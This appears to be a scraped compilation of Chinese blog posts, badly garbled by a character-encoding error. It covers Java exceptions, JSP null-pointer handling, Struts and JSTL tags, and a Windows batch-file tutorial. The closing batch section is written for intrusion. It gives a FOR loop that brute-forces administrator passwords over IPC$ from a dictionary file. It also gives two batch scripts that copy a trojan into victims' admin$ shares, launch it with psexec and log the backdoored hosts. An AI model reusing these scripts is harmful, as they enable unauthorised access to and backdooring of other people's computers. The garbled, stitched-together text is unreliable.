??xml version="1.0" encoding="utf-8" standalone="yes"?> 执行时的问题Qproblems Executing Hello 如果你看C面的错误提示: 如果你看? 如果你看? q个问题在上面调试第一个例E出现过Q但是如果我们输入的名称是正的Q仍然提CL问题时怎么办呢Q?BR> 装了JDK1.4.0版,而且JAVA_HOMEQPATH和CLASSPATH都设|好了。如?BR>JAVA_HOME=/home/jdk 用JAVAC命o生成了hello.class,当用java helloӞ仍然提示Q?BR>Exception in thread "main" java.lang.NoClassDefFoundError:XXXQwrong name: 解决提示Q?BR>(1)、Add (current directory) to your classpath或类定义前面加public (3)、假如你使用了packet 一般而言QChecked Exception 表示q个Exception 必须要被处理Q也是说程序设计者应该已l知道可能会收到某个Exception(因ؓ要try catch? Q所以程序设计者应该能针对q些不同的Checked Exception 做出不同的处理?/P>
而Runtime Exception 通常会暗C着E序上的错误Q这U错误会DE序设计者无法处理,而造成E序无法l箋执行下去?BR>友提供 时时整理
1、第一个JAVA例程Qhello world
'java' is not recognized as an internal or external command, ...
or
java: Command not found.
那么你或许没有安装java或者在环境变量中ƈ没有讄path路径java\bin目录。请查你的java安装以及环境变量的正设|?/FONT>
Exception in thread "main" java.lang.NoClassDefFoundError: hello
(wrong name: Hello) ...
那么你很有可能是因ؓ没有注意大小写或是把名称中的字母打错了。如Q?BR>java hello
键入正确的命令重新运行即可?/FONT>
Exception in thread "main" java.lang.NoClassDefFoundError: Hello
/class
那么你需要考虑是否L名字中的.class部分?nbsp;
2、分析出现java.lang.NoClassDefFoundError异常的具体情?/P>
CLASSPATH=$JAVA_HOME/jre/lib/tools.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/jre/lib/:$JAVA_HOME/lib
PATH=$PATH:$JAVA_HOME/bin
XXXQ?/P>
(2)、path环境变量中设|的路径中是否有另一个java.exe文gQ默认执行的是这个目录下的java.exeQ虽然版本与JDK下的java.exe一_但是在此目录下执行就会出错?BR> ҎQ?BR> 安装了JDK的情况下Q应该删除winnt下的java.exeQ确保默认调用的java.exe是位于jdk中bin目录下的java.exe?/P>
那么查你在编译了没有指定package包在你文件中的java文g?BR>
3、通常异常捕获处理Q?BR>JAVA中几个基本异常简单的描述一下:
ArithmeticException 当出现异常算术条件时产生
NullPointerException 当应用程序企图用需要的对象处ؓI时产生
ArrayIndexOutOfBoundsException 数组下标界时?nbsp;
ArrayStoreException 当程序试囑֭储数l中错误的类型数据时产生
FileNotFoundException 试图讉K的文件不存在时?nbsp;
IOException ׃一般I/O故障而引LQ如L件故?nbsp;
NumberFormatException 当把字符串{换ؓ数值型数据p|时?nbsp;
OutOfMemoryException 内存不时?nbsp;
SecurityException 当小应用E序QAppletQ试图执行由于浏览器的安全设|而不允许的动作时产生
StackOverflowException 当系l的堆栈I间用完时?nbsp;
StringIndexOutOfBoundsException 当程序试图访问串中不存在的字W位|时产生
上述出现的异常基本上都是JAVA中我们可能会遇到的异常?BR>
cThrowable有两个直接子c:Error和Exception。Exceptioncd象是JavaE序处理或抛弃的对象。Java 提供了两UException 的模式,一U是执行的时候所产生的Exception (Runtime Exception)Q另外一U则是受控制的Exception (Checked Exception)。所有的Checked Exception 均从java.lang.Exception l承而来Q而Runtime Exception 则承java.lang.RuntimeException 或java.lang.Error (实际上java.lang.RuntimeException 的上一层也是java.lang.Exception)。它有各U不同的子类分别对应于不同类型的例外。其中类RuntimeException代表q行时由Java虚拟机生成的例外?BR>
E序的运作机制上看,Runtime Exception与Checked Exception 不一P从逻辑上看QRuntime Exception 与Checked Exception 在用的目的上也不一栗?/P>
Java的可控制异常处理是通过5个关键字来实现的QtryQcatchQthrowQthrowsQfinally。JB的在U帮助中对这几个关键字是q样解释的:
Throws: Lists the exceptions a method could throw.
Throw: Transfers control of the method to the exception handler.
TryQ?nbsp; Opening exception-handling statement.
CatchQ?nbsp; Captures the exception.
FinallyQ?Runs its code before terminating the program.
·try语句
try语句用大括号{}指定了一D代码,该段代码可能会抛弃一个或多个例外?BR>
·catch语句
catch语句的参数类gҎ的声明,包括一个例外类型和一个例外对象。例外类型必MؓThrowablecȝ子类Q它指明了catch语句所处理的例外类型,例外对象则由q行时系l在try所指定的代码块中生成ƈ被捕P大括号中包含对象的处理,其中可以调用对象的方法?BR>
catch语句可以有多个,分别处理不同cȝ例外。Javaq行时系l从上到下分别对每个catch语句处理的例外类型进行检,直到扑ֈcd相匹配的catch语句为止。这里,cd匚w指catch所处理的例外类型与生成的例外对象的cd完全一致或者是它的父类Q因此,catch语句的排列顺序应该是从特D到一般?BR>
也可以用一个catch语句处理多个例外cdQ这时它的例外类型参数应该是q多个例外类型的父类Q程序设计中要根据具体的情况来选择catch语句的例外处理类型。
· finally语句
try所限定的代码中Q当抛弃一个例外时Q其后的代码不会被执行。通过finally语句可以指定一块代码。无论try所指定的程序块中抛弃或不抛弃例外,也无论catch语句的例外类型是否与所抛弃的例外的cd一_finally所指定的代码都要被执行Q它提供了统一的出口。通常在finally语句中可以进行资源的清除工作。如关闭打开的文件等。不异常是否发生都会执行finally中的语句?BR>
·throws语句
throwsL出现在一个函数头中,用来标明该成员函数可能抛出的各种异常。对大多数Exception子类来说QJava ~译器会你声明在一个成员函C抛出的异常的cd。如果异常的cd是Error?RuntimeExceptionQ?或它们的子类Q这个规则不起作用, 因ؓq在E序的正帔R分中是不期待出现的?如果你想明确地抛Z个RuntimeExceptionQ你必须用throws语句来声明它的类型?BR>
· throw语句
throwL出现在函C中,用来抛出一个异常。程序会在throw语句后立即终止,它后面的语句执行不到Q然后在包含它的所有try块中Q可能在上层调用函数中)从里向外L含有与其匚w的catch子句的try块。所有的Ҏ都用“throw”语句来抛出一个异常。Throw语句需要一个单独throwable对象Q这个对象是LThrowablecȝ子类?BR>
例如Q?BR>boolean testEx() throws Exception{
boolean ret = true;
try
{
ret = testEx1();
}
catch (Exception e)
{
System.out.println("testEx, catch exception");
ret = false;
throw e;
}
finally
{
System.out.println("testEx, finally; return value="+ret);
return ret;
}
}
4、JAVA错误Q?nbsp;java.lang.Error
原因:
1.对系l所讉K外部资源Q未执行关闭操作Q导致外部资源大量浪费,最l可能导致系l无法正常运行;
2.对系l所讉K的外部资源关闭次数太多,外部pȝ无法正常处理Q?nbsp;
3.pȝ讉K的外部资源出现异常情c?nbsp;
解决ҎQ?nbsp;
1.讉K外部资源前,首先查该资源(如数据库)是否可正常连接或操作?nbsp;
2.讉K外部资源Ӟ如果q行了连接,一定进行关闭操作,q仅q行一ơ关闭操作?nbsp;
3.量在同一操作中共享外部资源,以减该操作对资源的消费Q提高程序的执行效率
5、空指针错误 Qjava.lang.NullPointerException
使用基本的JAVA数据cdQ变量的D么已l是默认|如果没有对其正常赋|E序便不能通过~译Q因此用基本的JAVA数据cd(double,float,boolean,char,int,long)一般不会引L指针异常。由此可见,I指针异怸要跟与对象的操作相关?nbsp;
下面先列Z可能发生I指针异常的几种情况及相应解x案:
不管对象是否为空q接开始用?nbsp;
(JSP)代码D?Q?nbsp;
out.println(request.getParameter("username"));
描述Q?nbsp;
代码D?的功能十分简单,是输出用户输入的表?username"的倹{?nbsp;
说明Q?nbsp;
看上去,上面的语句找不出什么语法错误,而且在大多数情况下也遇不C么问题。但是,如果某个用户在输入数据时q没有提供表单域"username"的|或通过某种途径l过表单直接输入Ӟ此时request.getParameter("username")的gؓI(不是I字W串Q是I对象null。)Qout对象的printlnҎ是无法直接对I对象操作,因此代码D?所在的JSP面会抛出"java.lang.NullPointerException"异常?nbsp;
即对象可能为空Ӟ也调用java.lang.Object或Object对象本n的一些方法如toString(), equals(Object obj){操作?nbsp;
(JSP)代码D?Q?nbsp;
String userName = request.getParameter("username");
If (userName.equals("root"))
{....}
描述Q?nbsp;
代码D?的功能是用h供的用户名,如果是用户名UCؓ"root"的用hQ就执行一些特别的操作?nbsp;
说明Q?nbsp;
在代码段2中,如果有用h有提供表单域"username"的值时Q字W串对象userName为null|不能够将一个null的对象与另一个对象直接比较,同样Q代码段2所在的JSP面׃抛出(java.lang.NullPointerException)I指针错误?nbsp;
(JSP)代码D?Q?nbsp;
String userName = session.getAttribute("session.username").toString();
描述Q?nbsp;
代码D?的功能是session中session.username的值取出,q将该Dl字W串对象 userName?nbsp;
说明Q?nbsp;
在一般情况下Q如果在用户已经q行某个会话Q则不会出现什么问题;但是Q如果此时应用服务器重新启动Q而用戯没有重新dQ(也可能是用户关闭览器,但是仍打开原来的页面。)那么Q此时该session的值就会失效,同时Dsession中的session.username的gؓI。对一个ؓnull的对象的直接执行toString()操作Q就会导致系l抛?java.lang.NullPointerException)I指针异常?nbsp;
解决ҎQ?nbsp;
Z保q行操作或引用的对象非空Q假若我们要Ҏ对象q行操作或引用,我们首先L查该对象是否已经实例化且不ؓI;q且在系l中加入针对对象为空时情늚处理?nbsp;
如:采用String对象保存用户提交的结果;在如果涉及对象的操作Ӟ先检其是否为空后,查到对象为空后,可再选择q行以下MU处理方式:
处理方式 1) 查到对象为空Ӟ讄对象gؓI字W串或一个默认|
处理方式 2) 到对象为空ӞҎ不执行某操作Q直接蟩转到其他处理中?nbsp;
处理方式 3) 查到对象为空Ӟ提示用户操作有错误?nbsp;
代码段2按以上方式进行改写,得到Q?nbsp;
方式1Q?nbsp;
String userName = request.getParameter("username");
// 该变量gؓI时Q{化ؓ默认I字W串
If (userName == null)
userName = "";
If (userName.equals("root"))
{..........}
方式2Q?nbsp;
String userName = request.getParameter("username");
// 该变量gؓI时Q{化ؓ默认I字W串Q不执行有关操作?nbsp;
If (usreName != null)
{
If (userName.equals("root"))
{..........}
}
方式3Q?nbsp;
String userName = request.getParameter("username");
// 该变量gؓI时Q{化ؓ默认I字W串Q不执行有关操作?nbsp;
If (usreName == null)
{
// 提示用户输入信息为空
}
实际中,上面提供CU处理方式也同样适用于其他异常的处理Q?nbsp;
异常处理方式 1) 查到异常出现Q设|对象gؓI字W串或一个默认|
异常处理方式 2) 到异常出现Q根本不执行某操作,直接跌{到其他处理中?nbsp;
异常处理方式 3) 查到异常出现Q提C用h作有错误?BR>
作?/SPAN>: 双面?/SPAN>
QQ:147670662
1.数据库连接池需?/SPAN>commons-dbcp-1.1Q?/SPAN>commons-pool-1.1q两?/SPAN>jar包,认JBuilderE序目录下的thirdparty\jakarta-tomcat-4.1.24-LE-jdk14\common\lib下面有这两个jar包?/SPAN>
2.?/SPAN>JDBC驱动?/SPAN>COPY?/SPAN>JBuilderE序目录下的thirdparty\jakarta-tomcat-4.1.24-LE-jdk14\common\lib里?/SPAN>
3.在你?/SPAN>project下面有个Tomcat目录Q需要添加数据连接池配置内容的文件是webapps\jb-******.xml(******是你?/SPAN>Web Module?/SPAN>)
需要注意的是,要把q个注释L
4.我的jb-*******.xml如下Q?/SPAN>
5.?/SPAN>web-info\web.xml下添加如下内容:
好象q样差不多啦?/SPAN>
发布人:菜?BR>
自定义标{ֿ得:
1昄面QjspQ:<%@ taglib uri="/helloworld" prefix="mytag" %>
2web.xml:
3helloword.tld文g
"http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">
4新徏java文g模型Q?BR>package untitled1;
import java.io.IOException;
import javax.servlet.jsp.*;
import javax.servlet.jsp.tagext.TagSupport;
import javax.servlet.jsp.PageContext;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.JspException;
import javax.servlet.http.HttpSession;
public class HelloWorldTag extends TagSupport {
public HelloWorldTag() {
}
public int doStartTag() throws JspTagException{
JspWriter out=pageContext.getOut();
return EVAL_BODY_INCLUDE;
}
public int doEndTag() throws JspTagException{
return EVAL_PAGE;
}
}
自定义标{֏数ȝQ?/P>
java文g加入Q?BR> private String parm1=null;
public void setParm1(String parm1)
{
this.parm1 = parm1;
}
tld文g加入Q?BR>
发布人:菜?BR> 1.若明参数名和参数值则直接在URI后输出, 2.对于参数g定的,paramName和paramProperty来输出,用paramId属性指定参数名?BR>对于paramName指定的对象应该存在于page、request、session、application其中之一。一般来_是从ActioncMq来的,作ؓrequest的属性之一Qrequst.setAttribute("name",object)Q?BR>如果paramName指定的对象是action的ActionFormQ则无需使用request.setAttributeҎ?BR>例: 3.若两个参敎ͼ一个确定一个不定Q则是以上两U方法的l合Q即Q?BR> 4.对于多个参数的问题,可以使用一个HashMap集合对象来存放所有的参数名及对应的参数值的方式QparamName属性值指定ؓ该HashMap集合对象卛_?BR>举例Q?BR><% 5.针对有的|友?html:link>标签中嵌入用jsp脚本(scriptlet)的问题, 虽然在struts标签中嵌入jsp脚本不是真正意义上的struts应用Q但是有时在委曲求全的情况下也只能如此了Q除非用自定义标签。比如在form表单中可能需要根据具体数据让某个字段是只ȝQ就可以用嵌入jsp脚本来实玎ͼ 6.另外一U比较变态的ҎQ既不是真正意义上的strutsQ也不符合xml规范。那是?A>标签中用 先说q么多吧Q有更好的方法再来补充!
关于
用了一q多的struts了,对于一些常用的标签q是比较熟悉的。将在今后慢慢做一些ȝQ把自己的一些经验和大家分nQ也以此抛砖引玉Q希望能得到大家的高明见解。说的不对的地方请大家指正!
在struts标签
如:
若参数值是一个bean对象的属性|比如ActionForm,或者集合中存放的对象)则:
//代码理想的位|应该是在action?BR>//可以在jsp面试
java.util.HashMap pms = new java.util.HashMap();
pms.put("code", "001002");
pms.put("name", "tester");
pms.put("alias", new String[]{"matin","jack"});
request.setAttribute("params", pms);
%>
~译后的l果Q?A HREF="/test.do?code=001002&name=tester&alias=matin&alias=jack">test
q种方式虽然可以解决传多参数的问题,但是实现h也比较麻烦,特别是对记录集中的数据逐条列出的时?/P>
例如:
<%
boolean rdonly=false;
if(2==2) rdonly=true;
%>
Q题外话Q呵呵)
Q偶l常q样用,哈哈Q简单!Q?/P>
发布人:时时
表达式语a
?JSP 1.2 中,可以使用静态字W串或表辑ּQ如果允许的话)指定 JSP 操作的属性。例如,在清?2 中,?
清单 2. 合ƈh时属性值的 JSP 操作
因ؓh时属性值是用表辑ּ指定的,所以它们往往有和其它脚本元素一L软gl护问题。因此,JSTL 定制标记支持另一U用于指定动态属性值的机制。可以用化的表达式语aQELQ而不使用完整?JSP 表达式来指定 JSTL 操作的属性倹{EL 提供了一些标识符、存取器和运符Q用来检索和操作ȝ?JSP 容器中的数据。EL 在某U程度上?EcmaScriptQ请参阅参考资料)?XML 路径语言QXML Path LanguageQXPathQؓ基础Q因此页面设计h员和E序员都应该熟悉它的语法。EL 擅长L对象及其Ҏ,然后对它们执行简单操作;它不是编E语aQ甚至不是脚本编制语a。但是,?JSTL 标记一起用时Q它p使用单而又方便的符h表示复杂的行为。EL 表达式的格式是这LQ用元W号Q?Q定界,内容包括在花括号Q{}Q中Q如清单 3 所C?
清单 3. 说明 EL 表达式定界符?JSTL 操作
一.单批处理内部命o?
1.Echo 命o
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?
语法
echo [{on off}] [message]
SampleQ@echo off / echo hello world
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?
2.@ 命o
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?
SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?
3.Goto 命o
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?
语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?
if {%1}=={} goto noparms
if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?
4.Rem 命o
注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?
Rem Message
SampleQ@Rem Here is the description.
5.Pause 命o
q行 Pause 命oӞ显CZ面的消息Q?
Press any key to continue . . .
SampleQ?
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?/P>
6.Call 命o
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?
7.start 命o
调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?
入R常用参数Q?
MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?
REALTIME ?REALTIME 优先U类别开始应用程?
WAIT 启动应用E序q等候它l束
parameters q些Z送到命o/E序的参?
执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?
8.choice 命o
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234…?
? choice /c:dme defrag,mem,end
显C?
defrag,mem,end[D,M,E]?
SampleQ?
Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?
9.If 命o
if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?
1、if "参数" == "字符? 待执行的命o
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文g名 待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命o
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?
如if errorlevel 2 goto x2
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???
10.for 命o
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?
在批处理文g中?FOR 命oӞ指定变量请?%%variable
for {%variable %%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?
(set) 指定一个或一l文件。可以用通配W?
command 指定Ҏ个文件执行的命o?
command-parameters 为特定命令指定参数或命o行开兟?
在批处理文g中?FOR 命oӞ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w?
FOR /R [[drive:]path] %variable IN (set) DO command [command-
查以 [drive:]path 为根的目录树Q指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则用当前目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量Ş式从开始到l束的一个数字序列?
因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?
序列 (5 4 3 2 1)?
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果?usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?
处理包括d文gQ将其分成一行行的文字,然后每行解析成零或更多的符受然后用已找到的W号字符串变量D?For 循环。以默认方式Q?F 通过每个文g的每一行中分开的第一个空白符受蟩q空白行。您可通过指定可?"options" 参数替代默认解析操作。这个带引号的字W串包括一个或多个指定不同解析选项的关键字。这些关键字?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?
delims=xxx - 指分隔符集。这个替换了I格和蟩格键?
默认分隔W集?
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这会导致额外变量名U的格式Z个范围。通过 nth W号指定 m W号字符串中的最后一个字W星P那么额外的变量将在最后一个符可析之分配q接受行的保留文本?
usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且引号字符为文字字W串命oq允许在 fi中用双引号扩v文g名称?
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分?myfile.txt 中的每一行,忽略以分h头的那些行,每行中的第二个和第三个W号传递给 for E序体;用逗号?或空格定界符受请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引?%j 来取得第三个W号Q引?%k来取得第三个W号后的所有剩余符受对于带有空格的文g名,您需要用双引号将文g名括h。ؓ了用q种方式来用双引号Q您q需要?usebackq 选项Q否则,双引号会被理解成是用作定义某个要分析的字W串的?
%i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最?26 个符P只要不试图说明一个高于字?z 或Z 的变量。请CQFOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在用中?
您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来。这P该字W串会被当作一个文件中的一个单一输入行?
最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W串。该字符串会被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚丑ֽ前环境中的环境变量名U?
另外QFOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?
%~dI - 仅将 %I 扩充C个驱动器?
%~pI - 仅将 %I 扩充C个\?
%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?
%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个完全合格的名称。如果环境变量未被定义,或者没有找到文Ӟ此组合键会扩充空字符?
可以l合修饰W来得到多重l果:
%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?
%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个驱动器号和路径?
%~ftzaI - ?%I 扩充到类D出线路的 DIR
在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名比较易读Q而且避免与不分大写的组合键h?
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?
sample2Q?
利用For命o来实现对一台目标Win2kL的暴力密码破解?
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ-
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":命o成功完成">>D:\ok.txt Q这样就ko了?
sample3Q?
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?
主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?
而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?
delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?
代码雏ŞQ?
------- cut here then save as a batchfile(I call it main.bat ) -------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
---- cut here then save as a batchfile(I call it main.bat ) -----
-----cut here then save as a batchfile(I call it door.bat) -----
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----- cut here then save as a batchfile(I call it door.bat) ------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?
可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?
?如何在批处理文g中用参?
批处理中可以使用参数Q一般从1%?9%q九个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?
sample1Qfomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^
sample2Q?
当我们要建立一个IPC$q接地时候总要输入一大串命oQ弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o了?
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?
@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学会了^_^.No.3
?如何使用l合命o(Compound Command)
1.&
UsageQ第一条命?& W二条命?[& W三条命?..]
用这U方法可以同时执行多条命令,而不命令是否执行成?
SampleQ?
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
2002-05-14 23:51 ..
2002-05-14 23:51
14 sometips.gif
3. UsageQ第一条命? W二条命?[ W三条命?..]
用这U方法可以同时执行多条命令,当碰到执行正的命o后将不执行后面的命oQ如果没有出现正的命o则一直执行完所有命令;
SampleQ?
C:\Ex4rch>dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
l合命o使用的例子:
sampleQ?
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1. 命o
UsageQ第一条命? W二条命?[ W三条命?..]
第一条命令的l果作ؓW二条命令的参数来用,记得在unix中这U方式很常见?
sampleQ?
time /t>>D:\IP.log
netstat -n -p tcp find ":3389">>D:\IP.log
start Explorer
看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?
2.>?gt;>输出重定向命?
一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>会清除调原有文g中的内容后写入指定文Ӟ?gt;>只会q加内容到指定文件中Q而不会改动其中的内容?
sample1Q?
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:
q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?
日后如发现异怽用传l的Ҏ查不出问题时,则要考虑是不是系l中已经潜入DLL木马?
q时我们用同L命osystem32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?
3.< ?gt;& ?lt;&
< 从文件中而不是从键盘中读入命令输入?
>& 一个句柄的输出写入到另一个句柄的输入中?
<& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?
q些q不常用Q也׃多做介绍?
No.5
?如何用批处理文g来操作注册表
